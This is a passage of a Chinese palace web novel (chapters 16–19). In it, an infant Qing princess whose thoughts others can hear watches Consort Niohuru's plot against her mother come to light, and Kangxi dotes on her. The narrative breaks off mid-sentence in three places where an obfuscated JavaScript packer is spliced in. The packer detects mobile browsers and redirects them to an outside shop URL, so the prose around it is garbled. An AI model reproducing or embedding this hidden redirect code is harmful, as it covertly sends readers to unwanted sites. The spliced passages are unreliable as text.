暖炕上,钮祜禄氏双眼紧闭,呼吸急促,额角也泌出细汗。 “乖囡,快过来,让额娘再抱抱……” 她的小公主还不会说话,只睁着一双乌溜溜的眼,安安静静地望着她。 可下一瞬,那玉雪似的小脸陡然变得青紫,气息全无。 “啊!” 钮祜禄氏从榻上惊坐而起,冷汗浸湿了中衣。 这才觉出是一场梦。 可那梦里的冰凉,却比真的还刺骨。 她的孩子,连周岁都没熬到,一场风寒,说没就没了。 定是那帮没心肝的奴才……是他们照看不周!定是良贵人那个贱人,是她的女儿夺取了我女儿的气运! 永寿宫内,又响起一片哀嚎声。 钮祜禄氏放下鞭子,才再次入睡,而她宫里的事情,到底是传到了乾清宫。 “这个贵妃!怎么会变成这样?” 今日早膳,康熙未如往常那般考问太子政务学业,只沉着脸,将手中银箸往碟边一搁,语带愠怒。 太子缓缓放下银匙,温声劝道:“皇阿玛息怒。钮祜禄母妃骤然失女,心绪郁结也是人之常情。若能到御花园走走,疏散心怀,或许便能好些。” 康熙面色稍霁,略一颔首:“你说得在理。” 随即转向侍立一旁的梁九功:“传旨:解除贵妃禁足,另将她宫中现役的宫女太监尽数撤换一批。” 语毕,他目光转向太子,忽而问道:“你可知,朕为何非要换她身边之人?” 16. 第 16 章 太子沉吟片刻,抬眼肃容答道:“卧榻之侧,最是重中之重。前朝嘉靖年间,便有宫女惊变刺驾之祸。最危险的刀,往往来自最贴身的人。” 康熙点头,给他夹了一片清炒嫩藕。 贵妃的禁足令解除后,性子沉静了不少,倒真未再传出什么风波。 一层薄薄的金色晨光,轻轻覆在婉菱脸上,连她颊边那极细软的绒毛都映得清晰。 良贵人坐在榻边,望着女儿呼吸平稳、睡得正酣的小脸,嘴角便不自觉地弯了起来。 吉时将至,小婉菱倒还沉在梦乡里,半分要醒的意思也没有。 这孩子自出生便不像寻常婴孩那般磨人。 饿了、闷了、肚子不适了,总能将心意清清楚楚传到人心里,从不让身边人手忙脚乱。 可这睡眠时间……到底还是个小小的人儿呀。 “贵人,吉时快到了。” 夏阳轻步进来,低声提醒。 良贵人看着旁边酣睡的女儿,眼中满是温柔:“再等一小会儿……” 她实在不忍心扰了这孩子的好梦。 可婉菱恰在此刻睫羽微颤,缓缓睁开了眼,对上良贵人的目光,便抿嘴露出一个无声的笑:【额娘,我醒啦。】 良贵人用温热的软帕轻轻为她擦了脸,又喂了小半勺清水、提前挤好的一碗母乳,这才仔细将她裹好,抱向慈宁宫正堂。 婉菱喜欢喝母乳或者羊乳、牛乳,乳娘的奶也可,只是要事先挤下来,她说咬上去别扭,良贵人便也顺着她的心意。 今日满月宴的主角,此刻正安安静静地伏在她怀里,一双乌亮的眸子好奇地打量着周遭的一切。 【那个穿着杏黄色衣裳的哥哥……好看。】 那道直白的心声落下,屋内诸位阿哥、格格的目光便不约而同地、带着几分笑意,投向了立在康熙身旁的太子。 胤礽微微一怔,原本带着惯常审视与矜持的眸色,像被春风吹过般,漾开了一丝暖意。 这细微的变化,如何逃得过康熙的眼睛。 他看着这个一手带大的儿子,心里又是好笑又是轻叹:这孩子,也不知从何时起,心思变得这样别扭了,妹妹出生这些时日,竟一次也没主动去看过。 莫非……是在吃味? 想到这里,康熙眼底掠过一丝了然的笑意,面上却不动声色,只对胤礽温声道:“胤礽,还愣着做什么?不去抱抱你妹妹?” “啊?……是,皇阿玛。” 胤礽闻声上前,小心翼翼地从乳母手中接过了那个裹在锦缎里的柔软小人儿。 他正不知该如何打个招呼,怀中的小人儿却仰起脸,冲着他毫无征兆地绽开一个甜滋滋的笑容。 那道让他心头一软的声音又响了起来,带着纯粹的欢欣: 【哇,这个就是太子哥哥吗?总算是见到啦,他的眼睛像是一汪清泉,不,是月牙,里面倒映着我的样子。】 【哥哥姐姐们都这么大了,我却连走路都不会呢,还要人抱。】 小婉菱撅起了嘴。 胤礽听着这软乎乎的心声,再看怀中婴儿那略带懊恼的小脸,心底最后那点别扭的隔阂也消散了。 他稍稍调整了抱姿,让她靠得更舒服些,声音温和: “别急。孤……我像你这般大时,也是这般被皇阿玛抱着的。” 他顿了顿,似乎觉得这安慰太生硬,又补充道: “你会长得很快的。” 康熙将这一幕看在眼里,心底那为人父的柔软,悄然漫了上来。 他端起茶盏,心中暗道:“天家骨肉,最难得的便是这一份天然亲厚。” 忽然,门外一阵激烈的争执声,骤然打破了满室的温馨。 “让我进去!我有要事禀报皇上!” “你是哪个宫的?无诏不得擅入,退下!” “我要揭发贵妃!她买通稳婆,暗害良贵人母女,其心可诛!” 门外的对话,字字清晰地传了进来。 “啊?” 殿内霎时一静,众人脸色皆变,目光不约而同地投向贵妃。 方才还端坐在位上、只暗暗咬着发酸的后槽牙的钮祜禄氏,此刻脸上“唰”地一下褪尽血色,攥着帕子站了起来。 琥珀……那个贱婢!她竟敢!早知如此,当初就该将她活活杖毙,也不至于留下今日这祸根! 康熙面沉如水,目光如冰刃般扫向门:“放她进来。” 被贬至浣衣局的琥珀,早已被折磨得形销骨立。 她撑着最后一口气挣到这里,便是要拼却这条性命,将贵妃那见不得光的罪孽,血淋淋地撕开在阳光之下。 “陛……陛下,”她扑跪在地,声音嘶哑却字字泣血,“给良贵人接生的王稳婆……是永寿宫中王嬷嬷的远房族亲!那稳婆手里害人的药膏,便是王嬷嬷所赠,只待良贵人生产时下手,要叫她……一尸两命!” 【啊呀!原来真是她!上回就欺负额娘,这次还敢来害我们,差点连我的小命都丢了!】 婉菱在太子怀里听得真切,气得小脸鼓鼓,一双乌溜溜的眼睛圆瞪,毫不客气地瞪向面无血色的贵妃。 贵妃指尖直直指向跪伏在地的琥珀,嗓音因惊怒而尖利:“你这贱婢!满口胡吣,攀咬主子,谁给你的胆子!” 她身旁的王嬷嬷立刻会意,上前一步,面上堆起无奈又痛心的神色,叹息道:“琥珀姑娘,老奴知道前些日子贵妃娘娘气头上罚了你,你心里委屈。可再委屈,也不能拿这等诛心的事来泄私愤啊!这可是要掉脑袋的!” 这番话阴毒至极,四两拨千斤地将一场谋害皇嗣的重罪,轻巧地扭转为“奴婢挟怨报复”。 众人听了,神色果然微妙起来。 琥珀浑身发颤,不是怕,而是恨到极处。 她抬起头,嘶声道:“此事乃奴婢亲耳所闻,为了证明奴婢没说假话,奴婢愿意以死为证。” 琥珀确实没有证据,但是她有一条命! 【啊?她要自杀吗?快点拦住她。】 婉菱看着琥珀决绝的模样,小身子急得直往前挣,恨不能下去拦住她。 太子手臂稳稳一收,将她更紧地护在怀里,低声道:“别动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228914|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 琥珀还未撞上墙面,一道黑影已迅疾掠至,将她稳稳拦下。 康熙目光扫过瘫软在地的贵妃与王嬷嬷,声如寒铁: “来人。将此二人押下,搜查永寿宫。凡有牵连者,一律严惩不贷。” 有了这明确的指向,查证便势如破竹。狱中的王嬷嬷经不住诱审,不多时便供认不讳。 尘埃落定。贵妃钮祜禄氏被褫夺封号,打入冷宫;年仅三岁的十阿哥胤?,则被送至皇贵妃佟佳氏宫中抚养。 佟佳氏望着眼前这个圆润懵懂的小阿哥,心中却掠过一丝淡淡的失望。 她原是盼着能将玉雪可爱的婉菱接来身边的……如今陛下既将十阿哥托付于此,再想抚养小公主,怕是难了。 十阿哥胤?年纪尚小,记事不牢。他只知道忽然见不着额娘了,心里空落落的难受,却并不明白这背后的风雨雷霆。 佟佳氏心中了然:以贵妃母族的根基,性命当是无忧。 她也不愿十阿哥因此与良贵人母子生出芥蒂,便将一旁安静侍立的胤禛唤到跟前,温声道: “你平日去瞧婉菱妹妹时,也带上你十弟。让他多走动走动,散散心。” 胤禛年纪虽小,眉宇间却已有了超越年龄的沉静。他望了望茫然无措的十弟,心中明镜似的,对佟佳氏稳稳一礼: “额娘放心,儿子明白。” 良贵人心底并无多少对贵妃的记恨。相反,想到对方接连丧女、癫狂行险的境遇,反倒生出一丝悲悯。她心中沉甸甸的,更多的,是对琥珀那份以死相搏的感激。 她恳请康熙将琥珀调至自己宫中,又特意请了太医好生诊治。 小婉菱被良贵人轻轻抱着,乌亮的眼睛望向榻上昏睡的琥珀。 【这个姐姐好勇敢呀,贵妃和王嬷嬷那么凶,她都敢站出来说话。】 良贵人闻言,指尖温柔地抚过女儿细软的额发,声音轻得像一声叹息: “人是能被逼到绝境的……绝境之下,什么事都做得出。所以啊,得饶人处,且饶人。” 满月宴上收的礼,堆成了小山。 婉菱每日精神头有限,只许额娘替她拆三样,这么细水长流地拆,也足足拆了十来日,当然幸福感也持续了十来日,甚至更久。 太皇太后赏的是一枚赤金镶东珠项圈,专按孩童尺寸打的,分量足,珠光晃眼,任谁看了都知是极贵重的物件。可婉菱只瞥了一眼,小嘴便不乐意地撇了撇。 良贵人瞧她神色,轻声问:“怎么了?这项圈不合眼缘?” 不会吧?她的女儿她明白,很喜欢这样金闪闪亮晶晶的东西。 【太皇太后真讨厌,】婉菱在心里气鼓鼓地嘟囔,【她居然帮那个坏女人说话!】 小嘴撅得能挂油瓶了。 良贵人被她这认真赌气的小模样逗笑了,温声解释道:“这种事呀,总得有人站出来转圜场面。罢了,你还小,等长大些自然就懂了。” 【我才不小呢!】婉菱在心里不服气地反驳,【我懂得比五哥还多!他也气老祖宗这样做,都好几天不肯去请安了。】 17. 第 17 章 良贵人闻言,眉头轻轻蹙起,叹了口气:“胤祺这孩子……性子直,看来我得找他聊聊。” 她不能眼看着胤祺心里结着疙瘩,更不愿见太皇太后与孙儿之间生出嫌隙。这心结,总得有人去解,她作为受害者,是最合适的。 话虽如此,她心下却有些踌躇。自己不过是个贵人,身份低微,说话要斟酌着来。 说到胤祺,胤祺便来了。 “婉菱妹妹,我今日又重新画了一张图,你看看像不像你那个婴儿车?” 胤祺将手中的图纸举得高高的,而婉菱仔细的看了看,便失望地闭上了眼睛:【快拿开,好丑!】 胤祺皱着小脸,小声问:“很丑吗?” 良贵人笑着接过他手中的图纸,对着那歪歪扭扭的线条细细端详了一会儿,温声道:“比上次画得好多了,我们胤祺在画画上,是很有天分的。” 胤祺眼睛亮了一下:“真的?” 良贵人轻轻抚了抚他的肩,柔声建议:“老祖宗见识广,懂得多,你何不去请她看看?让她帮你出出主意,添些细节。” 胤祺一听,却扭过脸去,哼了一声:“我才不去呢。” 良贵人微微俯身,看着他抿紧的嘴角:“怎么了?” 胤祺低下头,声音闷闷的:“老祖宗她……她……” 良贵人轻叹一声:“胤祺,老祖宗是站在大局上考量。贵妃被打入冷宫,已经为她的过错受了罚。她终究是十阿哥的亲娘,就算看在弟弟的份上,我们也该给她留一次改过的机会,你说是不是?” “十弟……”胤祺抿了抿嘴,声音低了下去,“可我差一点就没了妹妹。” 一旁的婉菱轻轻开口:【若是这样说来,看在十哥的份上,我也不气了。毕竟有娘的孩子像块宝,没娘的孩子……像根草。】 说着说着就唱起来了。 胤祺抬眼看了看妹妹,终于也点了点头,神情软和下来:“嗯,妹妹不气,那我也不气了。” 话音刚落,门外便传来清脆的掌声。 一身玄色常服的康熙与身着明黄袍服的太子胤礽走了进来,显然已在门外听了一会儿。 康熙脸上带着赞许的笑意,目光温煦地落在良贵人身上:“良贵人识大体,明事理。来人,传朕口谕:良贵人生育公主有功,性行淑均,着即晋封为良嫔。” 良贵人压下心头波澜,从容且恭敬地行下礼去:“臣妾叩谢皇上恩典。” 嫔位可以做一宫主位了,即便是过些日子离开太后这里,也不必再依附其他妃子。 一旁的婉菱也跟着甜滋滋地道:【多谢皇阿玛!】 她心里可明白了,娘亲位份越高,往后能得到的银子、衣裳、吃食,自然也会越来越多,越来越好。 娘亲好,就是八哥和她好。 太子接过胤祺手中的图纸,仔细瞧了瞧,眼里带着笑意:“五弟这份心意难得,我拿到上书房去,让哥哥弟弟们都帮着出出主意。人多智广,定能给妹妹做出个天下独一无二的婴儿车来。” 康熙立在一边,目光落在那略显稚嫩的草图上,沉吟道:“若是用木头做轮子,外头包上铁圈,在雪地上倒是能滑行起来,如此老五一人也能拉得动。可惜冬日将尽,雪一化,这小车便用不上了。” 胤祺听了,攥紧小拳头,挺起胸膛认真道:“那儿子就快快长大,长得像皇阿玛和哥哥们一般强壮,到时候不管有没有雪,都能带妹妹出去!” 另一边,在佟佳氏与胤禛的引荐下,八阿哥与九阿哥那处启蒙小书房里,近日又添了一位新学伴:十阿哥。 十阿哥年纪尚小,加上脑筋转得慢些,反应总显得迟顿,倒把教习嬷嬷的大部分注意都引了过去。 一旁的胤禟因此轻松不少,悄悄拽了拽八阿哥的袖子,压低声音带点得意:“八哥你看,十弟比我还钝呢。” 八阿哥虽年纪也小,身板却坐得笔直,正一丝不苟地练着字。 他抬眼看了看正被嬷嬷耐心引导的十弟,轻声应道:“他还小,只是学得慢些,不是笨。” 九阿哥凑近了些,眼里透着期待:“八哥,一会儿下了学,我还想跟你去慈宁宫。” 八阿哥笔尖顿了顿,想起上回宜母妃找来时的严厉神色,语气里多了几分关切:“自然可以。不过……你可同你额娘说过了?” 他心底隐隐有些不安,怕九弟回去又要挨训。 胤禟满不在乎地晃晃小脑袋,圆乎乎的屁股在凳子上扭了扭,奶声奶气道:“没关系的!我额娘最多就打一下下,打完就好啦。” 下了学,两位阿哥刚从小书房出来,却见十阿哥也带着嬷嬷和丫鬟慢吞吞跟了上来。 他年纪最小,步子又短又急,走起路来小屁股一撅一撅的,煞是费力。 八阿哥和九阿哥停下脚步,胤禟歪着头问道:“十弟,你要去哪儿呀?” 十阿哥仰起小脸,眼睛亮晶晶的,声音带着孩童特有的软糯:“康妹妹。” 他说话还有些吐字不清。 九阿哥闻言,心里却悄悄浮起一层疑惑。 他常听额娘宜妃和郭贵人私下谈论钮祜禄氏的事,都说讨厌良嫔是可以理解的,可为什么要在那种时候下手呢? 看来十弟与他亲额娘不一样。 八阿哥点头道:“既这样,你且打发人去佟母妃那儿回一声,免得她与四哥悬心。” 十阿哥连忙应下,转身朝一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228915|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁的嬷嬷使了个眼色,那嬷嬷会意,悄然退了出去。 斜阳透过窗格,缓缓漫进良嫔的偏殿。 十阿哥一眼便瞧见紫檀长案上摆着的几样细点:水蜜桃馅儿的小月饼晶莹剔透、水晶葡萄糕如琥珀凝光、爱心形状的藕粉桂花糕更是让人不由得暗暗咽了咽口水。 九阿哥在旁笑道:“良母妃这儿的东西,总是瞧着精巧,吃着也香甜。” 良嫔眉眼舒展,温声道:“两位阿哥若喜欢,便带些回去。今日小厨房做得不少。” 十阿哥也不推让,高高兴兴地爬上凳子,伸手便捻了块藕粉桂花糕,刚小小咬了一口糕尖儿,耳畔忽地响起一声软糯糯的童音: 【这点心的花样,可大都是我想出来的呢。可惜我如今还吃不着。】 那声音稚气又清晰,仿佛近在咫尺。 十阿哥一愣,含着半口糕点,好奇地左右张望。 良嫔见他呆愣愣的模样,眉眼一弯,其他人也都笑着指了指婉菱。 婉菱身上穿着绣有金色莲花纹样的大红色偏襟夹袄,衬得愈发白嫩可爱,活脱脱就是一个奶团子。 十阿哥看得眼都直了,脱口便道:“妹妹这衣服真好看,像年画儿里的福娃!” 胤禟在旁瞧着,心里又是羡慕又是感慨:“良母妃的手艺实在精巧。我额娘就总说绣花伤眼睛,不如嗑瓜子、打骨牌来得痛快自在,都不会亲手给我做漂亮衣服。” 良嫔闻言,唇角浮起一抹温静的弧度:“宜妃姐姐原是个有福气又会寻乐子的人。你喜欢什么样子的衣服?我可以帮你做。” 九阿哥眼睛一亮,兴奋地用手在空中比划起来:“我要金元宝!要绣这么大个儿的,圆滚滚、亮闪闪的!” 他边说边在胸前大大地张开手臂,那夸张的模样又认真又可爱,逗得良嫔眼里漾开了笑意。 “好,记下了。”她温声应着,目光转向一旁安静抿唇的十阿哥,“十阿哥呢?也想要个什么花样?” 十阿哥立即笑了,搓搓小手道:“我想要……” 九阿哥抢话道:“我还想要银票……” 八阿哥在一旁听了,眉尖几不可察地微微一蹙,难得带上了兄长的架子:“你们两个……一人只许缠着我额娘做一件,剩下的交给绣房去办,可不许累着额娘。” 【就是就是,这两个哥哥不好,我不要和他们玩了!】 十阿哥一听这话,小脸立刻垮了下来,委屈地嘟囔:“我、我又没要多……” 九阿哥眼珠转了转,带着几分讨好地笑道:“那……那能不能前面绣金元宝,背面绣银票?这样一件能顶两件呢!” 良嫔笑道:“这穿出去,可别说是我绣的。” 18. 第 18 章 淡粉色流苏轻垂,下方垫着雪白貂绒的摇篮里,刚满三个月的婉菱正努力地拱着小身子。 圆滚滚的一团左右扭动了半晌,忽然“噗”地一翻,竟从摇篮边沿滚落下来,不偏不倚跌进四周铺得厚厚的貂皮软垫中。 有惊无险! 与此同时,一阵铃声响起。 【呼……吓我一跳!还以为要摔个结实呢。】 【成天躺在这儿,浑身都不自在,不动弹动弹就像有蚂蚁在身上爬……这几天心里更是毛躁躁的,像长了草。】 她自己也说不清这莫名的焦躁从何而来。 许是曾经跑跳惯了的人,被困在这摇篮与稚嫩身躯里太久了吧。 这些日子,她抬眼只有帐顶流苏,转颈不过咫尺风光,实在太闷了。 想要多看些景象,还要别人抱着…… 如今总算能翻翻身了,只可惜还不会爬。 婉菱在柔软的貂皮垫上翻了又翻,一连滚了四五圈,直累得小胸脯一起一伏,呼哧呼哧地瘫在那儿不动了。 这时嬷嬷才急急忙忙赶到跟前:“哎呦我的小祖宗,您怎么翻到这儿来了?” 听到铃声响就觉得不妙,地上也提前特意为她铺了厚厚的貂皮,竟还不够这小家伙翻腾的,真是好大的劲儿。 嬷嬷小心翼翼地把她抱起来,轻轻放回摇篮,一边左右轻摇着,一边柔声哼唱:“睡吧,睡吧,咱们的小公主……” 婉菱折腾了这一番,早已筋疲力尽,在摇篮温柔的晃动中,眼皮渐渐沉了下去,不一会儿便睡得香甜了。 一夜总要翻身摔下来三四回,幸好有四个嬷嬷轮流照看。 康熙将婉菱抱起,看着小家伙圆圆的脸圆圆的眼,笑道:“听说你昨夜都快要翻到门口了,是比孙悟空还厉害,要一下子翻出个十万八千里来。” 婉菱小手在空中挥舞着,一个没留神,竟不偏不倚抓住了康熙下巴的胡须,软软的小指头攥得紧紧的。 良嫔与一旁的胤礽心头同时一紧。 康熙却只微微一怔,随即非但不恼,反而低低笑出了声:“都敢揪朕的胡子了……你二哥当年,还是四五个月大时才做得出这等事。” 他声音里透着纵容的暖意,眼角也染上笑纹。 胤礽在一旁听得眼睛都睁圆了:我小时候……也这般“胆大包天”过? 婉菱的小奶音适时响了起来:【是……不小心抓到的啦。不过皇阿玛的胡子,摸起来……真好玩!】 康熙朗声笑起来,对左右道:“都听听,这小丫头才多大,就晓得变着法儿哄朕高兴了。也罢,既喜欢,便多摸两下,朕大方得很。” 良嫔在旁含笑望着,唇动了动似想说什么,最终却只是静默地垂下眼睫,目光温软地落在那对亲昵的父女身上。 康熙指尖轻轻捋过婉菱头顶细软的胎发,将她稳稳托在臂弯里:“走,朕带咱们小婉菱回乾清宫去。” 一路上,婉菱望着紫禁城各处萌发的点点春色,心情明媚,不住地咯咯笑出声来。 到了乾清宫,已有几位大臣候在殿内等着议政。 康熙将她轻轻放在暖炕上,她便蜷在柔软的锦褥里,不一会儿便呼吸均匀地睡着了。 再醒来时,耳边正传来康熙沉凝的声音:“水定则民安,河道之治,务必要彻底,不留后患。” 几位大臣齐声应道:“陛下圣明,臣等谨记。” 话至此,似是政务已毕。 康熙转过头,目光落向炕上睁着圆眼的婉菱,语气顿时柔和下来:“瞧瞧,朕的小公主醒了。方才睡得那样甜,定是个有福气的。” 大臣们纷纷含笑附和:“陛下说的是,陛下洪福齐天,公主福泽深厚,此乃大清祥瑞之兆。” 康熙一挥手:“都退下吧。” 夜色渐深,御书房烛火摇曳。 康熙正批着奏折,一偏头,却见小公主不知何时已翻到书案与暖炕之间,一条小腿正伸在桌脚下。 他搁下朱笔,俯身将她的腿轻轻挪正,又顺手轻轻拍了拍她软软的小肚子。 婉菱眯着眼睛笑了起来,道:【皇阿玛,我饿了。】 恰在此时,宫人端来刚蒸好的奶皮子。 康熙取过小银勺,舀起一勺凝脂般滑嫩的奶皮,先在自己唇边试了温,才送到婉菱嘴边:“来,尝尝这牛乳做的奶皮子,又软又滑。你二哥小时候,最爱吃这个。” 【那一定很好吃,我可要多吃一点。】 婉菱张嘴含下,奶香顷刻在口中化开,她笑得眉眼弯弯:【真好吃!皇阿玛果然没骗人,我还要一勺。】 康熙用细软的丝帕轻轻拭了拭她的嘴角,又喂去一勺,眼中漾着笑意,调侃道:“这世上,谁舍得拿不好吃的东西骗咱们小公主?” 婉菱竟真的认真想了想,答道:【是额娘。】 康熙一怔。良嫔素来温顺柔婉,怎会如此?他神色微凝,声音沉了几分:“她喂你吃了什么?” 婉菱软声道:【前些天我喉咙痒痒的,额娘骗我说那碗黑乎乎的东西可好喝了,结果苦得要死……】 “不许说‘死’字。”康熙眉头轻蹙,语气却缓了下来,“那是治病的药,你额娘是为你好。前些日子老大不知轻重,抱着你在御花园吹了风,才让你着了凉。朕已罚过他了。” 婉菱的小眉毛顿时拧成了结:【啊?皇阿玛真的罚大哥哥了?】 康熙眼底泛起笑意:“怎么?你倒替他担心?” 婉菱小声嘀咕:【是婉菱自己想去的,缠了大哥哥好久……他是好心。】 “放心罢,”康熙将银勺又递近些,喂了她一口,“朕不过是借机让他多读些书,给他添了几份功课罢了。” 【皇阿玛好坏……学习最辛苦了。】 康熙正要送出的勺子忽然停在半空,目光微凝:“你说什么?再说一遍?” 婉菱眼睛直直望着那勺颤巍巍的奶皮子,小手摸了摸肚子,声音软糯糯地岔开话:【还没吃饱,还要吃!】 康熙自不会与幼女计较,只将那勺奶皮子轻轻喂入她口中,温声道:“可不许这般说皇阿玛!你呀,是还不懂。” 婉菱眨着乌亮的眼睛,软软道:【婉菱是不懂……为什么非要读书呢?一直玩儿多快活呀。】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228916|197605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康熙拿过丝帕替她拭了拭嘴角:“那你今夜便留在乾清宫,皇阿玛好好同你说说,读书究竟有什么益处。” 婉菱却认真摇起头:【不要……皇阿玛这儿虽好,可我一下午没见额娘了,我想额娘,我要回去。】 康熙心中早有预料,仍耐心哄道:“夜里风凉,慈宁宫离这儿远。若你再着了风、生了病,可又得喝那黑乎乎、苦哈哈的汤药了。” 【那皇阿玛也会被罚多学习功课吗?】 康熙一怔,随即失笑:“这世上,谁敢罚朕呢?” 【皇祖母、老祖宗……也不敢吗?】 康熙轻轻捏了捏她软乎乎的脸颊:“莫要岔开话。今夜便陪皇阿玛歇在乾清宫,可好?” 婉菱小脸纠结地皱成一团,还是摇了摇头:【可我每夜都要听额娘哼歌才能睡着……额娘还会给我晚安亲亲。】 康熙轻叹一声,指尖轻轻点了点她的鼻尖,满目宠溺:“朕也会唱,朕也会亲你。” 说罢,俯身在她额间落下一个轻柔的吻:“可是这般?” 靠近时,鼻息间尽是她身上暖融融的奶香,混着她独有的清润气息。 康熙心头一软,忍不住又在她眉间轻啄了一下。 婉菱不是他第一个孩子,也不是他最爱的女人所生,但他难得对她充满了浓厚的父女之情。 不知道为什么,一听见她的声音就欢喜,看见她圆滚滚的样子,更是什么烦恼都消了,感觉一切都很温馨。 婉菱只觉得额头痒丝丝的,咯咯笑出声来:【好吧……那就只住一晚,明天我要见额娘!】 康熙以指为梳,捋了捋她细软的胎发,含笑道:“朕怎么舍得让我们小婉菱委屈?” 随即转头吩咐:“来人,去请良嫔过来。今夜,皇阿玛与额娘都在这儿陪你。” 婉菱立刻欢呼起来,小手在空中欢快地挥了挥:【好耶!】 她现代的家庭是父亲只有母亲,母亲也只有父亲,可是在这里,皇阿玛可以有好多妃子。 以前她曾经好奇地问过良嫔这个问题,但良嫔却如临大敌地告诉她,这便是这里的规矩,以后不许再提,甚至是想也不能想。 想想也不行吗?婉菱控制不住自己心里想什么,只是小孩子天性如此,很多事情都不纠结,问过也就算了。 乾清宫作为康熙日常理政与安寝之所,向来没有留宿嫔妃的规矩。 即便召幸侍寝,事后也须由太监妥善包裹,送回各自宫中。 良嫔心里明白,今夜自己能破例留在乾清宫过夜,全然是托了女儿的福。 自然,有孩子在侧,康熙并未打算与她亲近。 一家三口只是静静躺在暖炕上安睡。 夜半时分,婉菱迷迷糊糊从额娘身边翻过身,滚到两人中间,又一路翻到了康熙的另一侧。 正想再翻个身,却被一条有力的手臂轻轻拢住了。 康熙低声道:“你这孩子,连睡觉都这般不老实?” 婉菱无辜脸:【我不是故意打扰皇阿玛睡觉的。】 不过越是这般有活力,他也越是喜欢。 19. 第 19 章 第二日康熙望着镜子中自己的黑眼圈,打消了日日把婉菱留在乾清宫的念头。 偶尔一次也还行,他毕竟需要把精力放到国事上。 * 暖阁里不曾焚香,只摆着新供的佛手与丁香,清甜的果香混着花香浮在空气里。 婉菱盘腿坐在炕上,嘴里仍叼着那柄小巧的银制奶壶。 壶身早已轻飘飘的,半滴牛乳也不剩了,她却还是抱在怀里,有一搭没一搭地吮着壶嘴。 总觉得嘴上若没个东西含着,心里便空落落地发慌。 这银壶嘴到底太硬,可若改吃糕点,小肚子又胀得难受。 她的眸光向前掠去,看向对弈的两位姐姐。 【三姐姐平日那么安静,胆子也小,下起棋来倒厉害得很。】 【二姐姐偏不服气,非要缠着她比个高低,这不,已经连输两盘啦。】 【要是这盘再输……先前说好的,可就得“挖个坑把自个儿埋进去”咯。】 这心里的嘀咕不知不觉竟被两个姐姐听了去。 二公主拧起眉,怒道:“小丫头,闭嘴!” 婉菱委屈巴巴地把银壶嘴从口中拿出来,“呀、呀”含混地嘟囔了两声,心里却悄悄续道:【二姐姐别急嘛……】 三公主这才发觉二姐姐眼圈已隐隐泛红,显是动了真火,忙在棋盘上悄悄让了几子。 “哈哈,我赢了!方才是谁说我会再输的?” 二公主扬眉侧首,目光投向婉菱。婉菱眨眨眼,小声嘀咕:【是二姐姐自己说的呀……你刚说完。】 二公主总算舒了胸中闷气,想起刚刚对婉菱的语气凶了点,有点愧疚,但是没有说什么,只是咬了一大口梨子,又将袖子往上捋了捋,道:“再来!说好了五局三胜的,这才到哪儿?” 三公主却轻轻按住了棋盘:“二姐,太阳都落山了,我也该回去用膳了。” 二公主一把拉住她的手腕,娇横道:“就在这儿吃!吃完了再战。横竖你那儿也没什么像样的吃食,寒酸得紧。” 三公主的生母布贵人出身还可以,其父官至正三品参领,不仅身负军功,平日更掌管旗人事务,论家世较之良嫔那位正六品管领的父亲,已显优越许多。 即便是与惠、宜、德、荣四妃的娘家相比,也略胜一筹。 只可惜,三公主来得不是时候。 她出生之日,恰逢赫舍里皇后崩逝后第三日,又值三藩之乱爆发,朝野动荡。 康熙帝心情沉郁,加之布贵人素不得宠,这个女儿自幼便未曾感受过多少父皇的温情。 宫中奴才是最懂看眼色行事的。 不得宠的妃嫔、不受重视的皇子公主,难免遭遇冷待克扣、甚至当面怠慢。 三公主性子本就温和柔顺,受了委屈也只默默隐忍。即便说出来,又有谁会为她做主? 久而久之,她愈发沉默如木,而康熙,自然也愈加疏远这个女儿了。 婉菱也在一旁帮腔:【是呀,你们先吃饭嘛。额娘早就让人备好饭菜啦。】 正说着,良嫔已掀帘进来,见棋局已毕,便温言笑道:“正巧,御膳房刚将晚膳送来,今日都是你们姐妹爱吃的菜色。” 三公主推却不过,只得随众人入了席。 可饭毕漱口后,她仍轻轻起身道:“我那儿还有个香囊只绣了一半,今夜实在不能再陪二姐下棋了……我们改日再约,可好?” 二公主眼底掠过一丝失落,却还是扬起下巴道:“也罢!下次我定要赢回来。” 自那日后,三公主便总寻着由头躲开二公主,再不提对弈之事。 可二公主却已真真切切迷上了棋场厮杀,哪肯就此罢休?正觉无处寻对手时,她遇见了大阿哥。 大阿哥年长她一岁,性子本就争强好胜,对年纪相仿的弟妹更是少了相让的心思,尤其是与太子相处之时。 二公主的生母是荣妃,与惠妃同列四妃,不过维持着宫闱里那层惯有的体面。 大阿哥与三阿哥之间亦不亲近,因而对这个荣妃所出的妹妹,他也便冷起了心肠。 